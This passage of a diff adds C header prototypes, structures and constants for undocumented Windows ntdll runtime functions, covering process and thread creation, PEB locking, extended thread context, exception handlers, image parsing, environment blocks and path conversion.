+RtlCleanUpTEBLangLists( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLocaleFileMappingAddress( + _Out_ PVOID *BaseAddress, + _Out_ PLCID DefaultLocaleId, + _Out_ PLARGE_INTEGER DefaultCasingTableSize + ); + +#endif + +// PEB + +NTSYSAPI +PPEB +NTAPI +RtlGetCurrentPeb( + VOID + ); + +NTSYSAPI +VOID +NTAPI +RtlAcquirePebLock( + VOID + ); + +NTSYSAPI +VOID +NTAPI +RtlReleasePebLock( + VOID + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +LOGICAL +NTAPI +RtlTryAcquirePebLock( + VOID + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateFromPeb( + _In_ ULONG Size, + _Out_ PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeToPeb( + _In_ PVOID Block, + _In_ ULONG Size + ); + +// Processes + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + + UNICODE_STRING RedirectionDllName; // REDSTONE4 + UNICODE_STRING HeapPartitionName; // 19H1 + ULONG_PTR DefaultThreadpoolCpuSetMasks; + ULONG DefaultThreadpoolCpuSetMaskCount; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParameters( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessParametersEx( + _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, + _In_ PUNICODE_STRING ImagePathName, + _In_opt_ PUNICODE_STRING DllPath, + _In_opt_ PUNICODE_STRING CurrentDirectory, + _In_opt_ PUNICODE_STRING CommandLine, + _In_opt_ PVOID Environment, + _In_opt_ PUNICODE_STRING WindowTitle, + _In_opt_ PUNICODE_STRING DesktopInfo, + _In_opt_ PUNICODE_STRING ShellInfo, + _In_opt_ PUNICODE_STRING RuntimeData, + _In_ ULONG Flags // pass RTL_USER_PROC_PARAMS_NORMALIZED to keep parameters normalized + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + _In_ _Post_invalid_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSYSAPI +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + _Inout_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION +{ + ULONG Length; + HANDLE ProcessHandle; + HANDLE ThreadHandle; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcess( + _In_ PUNICODE_STRING NtImagePathName, + _In_ ULONG AttributesDeprecated, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE ParentProcess, + _In_ BOOLEAN InheritHandles, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE TokenHandle, // used to be ExceptionPort + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserProcessEx( + _In_ PUNICODE_STRING NtImagePathName, + _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + _In_ BOOLEAN InheritHandles, + _Reserved_ ULONG Flags, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserProcess( + _In_ NTSTATUS ExitStatus + ); +#else + +#define RtlExitUserProcess RtlExitUserProcess_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserProcess_R( + _In_ NTSTATUS ExitStatus + ) +{ + ExitProcess(ExitStatus); +} + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// begin_rev +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects +// end_rev + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCloneUserProcess( + _In_ ULONG ProcessFlags, + _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_opt_ HANDLE DebugPort, + _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +// private +NTSYSAPI +VOID +NTAPI +RtlUpdateClonedSRWLock( + _Inout_ PRTL_SRWLOCK SRWLock, + _In_ LOGICAL Shared // TRUE to set to shared acquire + ); + +// private +typedef struct _RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION +{ + HANDLE ReflectionProcessHandle; + HANDLE ReflectionThreadHandle; + CLIENT_ID ReflectionClientId; +} RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION, *PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION; + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateProcessReflection( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_opt_ PVOID StartRoutine, + _In_opt_ PVOID StartContext, + _In_opt_ HANDLE EventHandle, + _Out_opt_ PRTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION ReflectionInformation + ); +#endif + +#endif + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag + ); + +NTSYSAPI +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + _In_ BOOLEAN NewValue, + _Out_opt_ PBOOLEAN OldValue, + _In_ BOOLEAN CheckFlag + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlValidProcessProtection( + _In_ PS_PROTECTION ProcessProtection + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlTestProtectedAccess( + _In_ PS_PROTECTION Source, + _In_ PS_PROTECTION Target + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentProcess( // NtCompareObjects(NtCurrentProcess(), ProcessHandle) + _In_ HANDLE ProcessHandle + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThread( // NtCompareObjects(NtCurrentThread(), ThreadHandle) + _In_ HANDLE ThreadHandle + ); +#endif + +// Threads + +typedef NTSTATUS (NTAPI *PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserThread( + _In_ HANDLE Process, + _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + _In_ BOOLEAN CreateSuspended, + _In_opt_ ULONG ZeroBits, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ SIZE_T CommittedStackSize, + _In_ PUSER_THREAD_START_ROUTINE StartAddress, + _In_opt_ PVOID Parameter, + _Out_opt_ PHANDLE Thread, + _Out_opt_ PCLIENT_ID ClientId + ); + +#if (PHNT_VERSION >= PHNT_VISTA) // should be PHNT_WINXP, but is PHNT_VISTA for consistency with RtlExitUserProcess +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +RtlExitUserThread( + _In_ NTSTATUS ExitStatus + ); +#else + +#define RtlExitUserThread RtlExitUserThread_R + +DECLSPEC_NORETURN +FORCEINLINE VOID RtlExitUserThread_R( + _In_ NTSTATUS ExitStatus + ) +{ + ExitThread(ExitStatus); +} + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCurrentThreadAttachExempt( + VOID + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateUserStack( + _In_opt_ SIZE_T CommittedStackSize, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ ULONG_PTR ZeroBits, + _In_ SIZE_T PageSize, + _In_ ULONG_PTR ReserveAlignment, + _Out_ PINITIAL_TEB InitialTeb + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeUserStack( + _In_ PVOID AllocationBase + ); + +#endif + +// Extended thread context + +typedef struct _CONTEXT_CHUNK +{ + LONG Offset; // Offset may be negative. + ULONG Length; +} CONTEXT_CHUNK, *PCONTEXT_CHUNK; + +typedef struct _CONTEXT_EX +{ + CONTEXT_CHUNK All; + CONTEXT_CHUNK Legacy; + CONTEXT_CHUNK XState; +} CONTEXT_EX, *PCONTEXT_EX; + +#define CONTEXT_EX_LENGTH ALIGN_UP_BY(sizeof(CONTEXT_EX), PAGE_SIZE) +#define RTL_CONTEXT_EX_OFFSET(ContextEx, Chunk) ((ContextEx)->Chunk.Offset) +#define RTL_CONTEXT_EX_LENGTH(ContextEx, Chunk) ((ContextEx)->Chunk.Length) +#define RTL_CONTEXT_EX_CHUNK(Base, Layout, Chunk) ((PVOID)((PCHAR)(Base) + RTL_CONTEXT_EX_OFFSET(Layout, Chunk))) +#define RTL_CONTEXT_OFFSET(Context, Chunk) RTL_CONTEXT_EX_OFFSET((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_LENGTH(Context, Chunk) RTL_CONTEXT_EX_LENGTH((PCONTEXT_EX)(Context + 1), Chunk) +#define RTL_CONTEXT_CHUNK(Context, Chunk) RTL_CONTEXT_EX_CHUNK((PCONTEXT_EX)(Context + 1), (PCONTEXT_EX)(Context + 1), Chunk) + +NTSYSAPI +VOID +NTAPI +RtlInitializeContext( + _In_ HANDLE Process, + _Out_ PCONTEXT Context, + _In_opt_ PVOID Parameter, + _In_opt_ PVOID InitialPc, + _In_opt_ PVOID InitialSp + ); + +NTSYSAPI +ULONG +NTAPI +RtlInitializeExtendedContext( + _Out_ PCONTEXT Context, + _In_ ULONG ContextFlags, + _Out_ PCONTEXT_EX* ContextEx + ); + +NTSYSAPI +ULONG +NTAPI +RtlCopyExtendedContext( + _Out_ PCONTEXT_EX Destination, + _In_ ULONG ContextFlags, + _In_ PCONTEXT_EX Source + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetExtendedContextLength( + _In_ ULONG ContextFlags, + _Out_ PULONG ContextLength + ); + +NTSYSAPI +ULONG64 +NTAPI +RtlGetExtendedFeaturesMask( + _In_ PCONTEXT_EX ContextEx + ); + +NTSYSAPI +PVOID +NTAPI +RtlLocateExtendedFeature( + _In_ PCONTEXT_EX ContextEx, + _In_ ULONG FeatureId, + _Out_opt_ PULONG Length + ); + +NTSYSAPI +PCONTEXT +NTAPI +RtlLocateLegacyContext( + _In_ PCONTEXT_EX ContextEx, + _Out_opt_ PULONG Length + ); + +NTSYSAPI +VOID +NTAPI +RtlSetExtendedFeaturesMask( + __out PCONTEXT_EX ContextEx, + _Out_ ULONG64 FeatureMask + ); + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64GetThreadContext( + _In_ HANDLE ThreadHandle, + _Inout_ PWOW64_CONTEXT ThreadContext + ); +#endif + +#ifdef _WIN64 +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64SetThreadContext( + _In_ HANDLE ThreadHandle, + _In_ PWOW64_CONTEXT ThreadContext + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlRemoteCall( + _In_ HANDLE Process, + _In_ HANDLE Thread, + _In_ PVOID CallSite, + _In_ ULONG ArgumentCount, + _In_opt_ PULONG_PTR Arguments, + _In_ BOOLEAN PassContext, + _In_ BOOLEAN AlreadySuspended + ); + +// Vectored exception handlers + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredExceptionHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredExceptionHandler( + _In_ PVOID Handle + ); + +NTSYSAPI +PVOID +NTAPI +RtlAddVectoredContinueHandler( + _In_ ULONG First, + _In_ PVECTORED_EXCEPTION_HANDLER Handler + ); + +NTSYSAPI +ULONG +NTAPI +RtlRemoveVectoredContinueHandler( + _In_ PVOID Handle + ); + +// Runtime exception handling + +typedef ULONG (NTAPI *PRTLP_UNHANDLED_EXCEPTION_FILTER)( + _In_ PEXCEPTION_POINTERS ExceptionInfo + ); + +NTSYSAPI +VOID +NTAPI +RtlSetUnhandledExceptionFilter( + _In_ PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter + ); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers + ); + +// rev +NTSYSAPI +LONG +NTAPI +RtlUnhandledExceptionFilter2( + _In_ PEXCEPTION_POINTERS ExceptionPointers, + _In_ ULONG Flags + ); + +// rev +NTSYSAPI +LONG +NTAPI +RtlKnownExceptionFilter( + _In_ PEXCEPTION_POINTERS ExceptionPointers + ); + +#ifdef _WIN64 + +// private +typedef enum _FUNCTION_TABLE_TYPE +{ + RF_SORTED, + RF_UNSORTED, + RF_CALLBACK, + RF_KERNEL_DYNAMIC +} FUNCTION_TABLE_TYPE; + +// private +typedef struct _DYNAMIC_FUNCTION_TABLE +{ + LIST_ENTRY ListEntry; + PRUNTIME_FUNCTION FunctionTable; + LARGE_INTEGER TimeStamp; + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + PGET_RUNTIME_FUNCTION_CALLBACK Callback; + PVOID Context; + PWSTR OutOfProcessCallbackDll; + FUNCTION_TABLE_TYPE Type; + ULONG EntryCount; + RTL_BALANCED_NODE TreeNode; +} DYNAMIC_FUNCTION_TABLE, *PDYNAMIC_FUNCTION_TABLE; + +// rev +NTSYSAPI +PLIST_ENTRY +NTAPI +RtlGetFunctionTableListHead( + VOID + ); + +#endif + +// Images + +NTSYSAPI +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + _In_ PVOID BaseOfImage + ); + +#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + _In_ ULONG Flags, + _In_ PVOID BaseOfImage, + _In_ ULONG64 Size, + _Out_ PIMAGE_NT_HEADERS *OutHeaders + ); + +NTSYSAPI +PVOID +NTAPI +RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData( + _In_ PVOID BaseOfImage, + _In_ BOOLEAN MappedAsImage, + _In_ USHORT DirectoryEntry, + _Out_ PULONG Size + ); + +NTSYSAPI +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageRvaToVa( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG Rva, + _Inout_opt_ PIMAGE_SECTION_HEADER *LastRvaSection + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +// rev +NTSYSAPI +PVOID +NTAPI +RtlFindExportedRoutineByName( + _In_ PVOID BaseOfImage, + _In_ PCSTR RoutineName + ); + +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGuardCheckLongJumpTarget( + _In_ PVOID PcValue, + _In_ BOOL IsFastFail, + _Out_ PBOOL IsLongJumpTarget + ); + +#endif + +// Memory + +NTSYSAPI +SIZE_T +NTAPI +RtlCompareMemoryUlong( + _In_ PVOID Source, + _In_ SIZE_T Length, + _In_ ULONG Pattern + ); + +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlong( + _Out_ PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONG Pattern + ); + +NTSYSAPI +VOID +NTAPI +RtlFillMemoryUlonglong( + _Out_ PVOID Destination, + _In_ SIZE_T Length, + _In_ ULONGLONG Pattern + ); + +// Environment + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + _In_ BOOLEAN CloneCurrentEnvironment, + _Out_ PVOID *Environment + ); + +// begin_rev +#define RTL_CREATE_ENVIRONMENT_TRANSLATE 0x1 // translate from multi-byte to Unicode +#define RTL_CREATE_ENVIRONMENT_TRANSLATE_FROM_OEM 0x2 // translate from OEM to Unicode (Translate flag must also be set) +#define RTL_CREATE_ENVIRONMENT_EMPTY 0x4 // create empty environment block +// end_rev + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironmentEx( + _In_ PVOID SourceEnv, + _Out_ PVOID *Environment, + _In_ ULONG Flags + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + _In_ PVOID Environment + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + _In_ PVOID Environment, + _Out_opt_ PVOID *PreviousEnvironment + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVar( + _Inout_opt_ PVOID *Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _In_reads_(ValueLength) PCWSTR Value, + _In_ SIZE_T ValueLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + _Inout_opt_ PVOID *Environment, + _In_ PUNICODE_STRING Name, + _In_opt_ PUNICODE_STRING Value + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable( + _In_opt_ PVOID Environment, + _In_reads_(NameLength) PCWSTR Name, + _In_ SIZE_T NameLength, + _Out_writes_(ValueLength) PWSTR Value, + _In_ SIZE_T ValueLength, + _Out_ PSIZE_T ReturnLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Name, + _Inout_ PUNICODE_STRING Value + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PCWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PUNICODE_STRING Source, + _Inout_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentStrings( + _In_ PCWCHAR NewEnvironment, + _In_ SIZE_T NewEnvironmentSize + ); + +// Directory and path support + +typedef struct _RTLP_CURDIR_REF +{ + LONG ReferenceCount; + HANDLE DirectoryHandle; +} RTLP_CURDIR_REF, *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE; + +// Data exports (ntdll.lib/ntdllp.lib) + +NTSYSAPI PWSTR RtlNtdllName; +NTSYSAPI UNICODE_STRING RtlDosPathSeperatorsString; +NTSYSAPI UNICODE_STRING RtlAlternateDosPathSeperatorString; +NTSYSAPI UNICODE_STRING RtlNtPathSeperatorString; + +#ifndef PHNT_INLINE_SEPERATOR_STRINGS +#define RtlNtdllName L"ntdll.dll" +#define RtlDosPathSeperatorsString ((UNICODE_STRING)RTL_CONSTANT_STRING(L"\\/")) +#define RtlAlternateDosPathSeperatorString ((UNICODE_STRING)RTL_CONSTANT_STRING(L"/")) +#define RtlNtPathSeperatorString ((UNICODE_STRING)RTL_CONSTANT_STRING(L"\\")) +#endif + +// Path functions + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_U( + _In_ PCWSTR DosFileName + ); + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_Ustr( + _In_ PCUNICODE_STRING DosFileName + ); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_U( + _In_ PCWSTR DosFileName + ); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_Ustr( + _In_ PUNICODE_STRING DosFileName + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR *FilePart + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UEx( + _In_ PCWSTR FileName, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ ULONG *BytesRequired + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + _In_ PUNICODE_STRING FileName, + _Inout_ PUNICODE_STRING StaticString, + _Out_opt_ PUNICODE_STRING DynamicString, + _Out_opt_ PUNICODE_STRING *StringUsed, + _Out_opt_ SIZE_T *FilePartPrefixCch, + _Out_opt_ PBOOLEAN NameInvalid, + _Out_ RTL_PATH_TYPE *InputPathType, + _Out_opt_ SIZE_T *BytesRequired + ); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentDirectory_U( + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetCurrentDirectory_U( + _In_ PUNICODE_STRING PathName + ); + +NTSYSAPI +ULONG +NTAPI +RtlGetLongestNtPathLength( + VOID + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToRelativeNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlDosPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDosLongPathNameToRelativeNtPathName_U_WithStatus( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Out_opt_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +VOID +NTAPI +RtlReleaseRelativeName( + _Inout_ PRTL_RELATIVE_NAME_U RelativeName + ); +#endif + +NTSYSAPI +ULONG +NTAPI +RtlDosSearchPath_U( + _In_ PCWSTR Path, + _In_ PCWSTR FileName, + _In_opt_ PCWSTR Extension, + _In_ ULONG BufferLength, + _Out_writes_bytes_(BufferLength) PWSTR Buffer, + _Out_opt_ PWSTR *FilePart + ); + +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_ISOLATION_REDIRECTION 0x00000001 +#define RTL_DOS_SEARCH_PATH_FLAG_DISALLOW_DOT_RELATIVE_PATH_SEARCH 0x00000002 +#define RTL_DOS_SEARCH_PATH_FLAG_APPLY_DEFAULT_EXTENSION_WHEN_NOT_RELATIVE_PATH_EVEN_IF_FILE_HAS_EXTENSION 0x00000004 + +NTSYSAPI +NTSTATUS +NTAPI +RtlDosSearchPath_Ustr( + _In_ ULONG Flags, + _In_ PUNICODE_STRING Path, + _In_ PUNICODE_STRING FileName, + _In_opt_ PUNICODE_STRING DefaultExtension, + 